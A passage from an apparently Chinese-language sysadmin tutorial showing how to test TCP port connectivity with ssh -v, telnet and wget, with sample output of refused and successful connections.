debug1: Connecting to 10.0.250.3 [10.0.250.3] port 80.
debug1: connect to address 10.0.250.3 port 80: Connection refused
ssh: connect to host 10.0.250.3 port 80: Connection refused
[root@localhost ~]# telnet localhost 22
Trying ::1...
Connected to localhost. #看到Connected就连接成功了
Escape character is '^]'.
SSH-2.0-OpenSSH_5.3
a
Protocol mismatch.
Connection closed by foreign host.

一般在windows下使用telnet比较方便,linux下个人就比较喜欢用wget.

提供端口服务,则使用了tcp协议,上面是以web服务器为例。如果服务器是更简单的tcp服务器,三个工具同样适用.

-v 调试模式(会打印日志).

1)连接不存在端口

[root@localhost ~]# telnet 10.0.250.3 80
Trying 10.0.250.3...
telnet: connect to address 10.0.250.3: Connection refused #直接提示连接被拒绝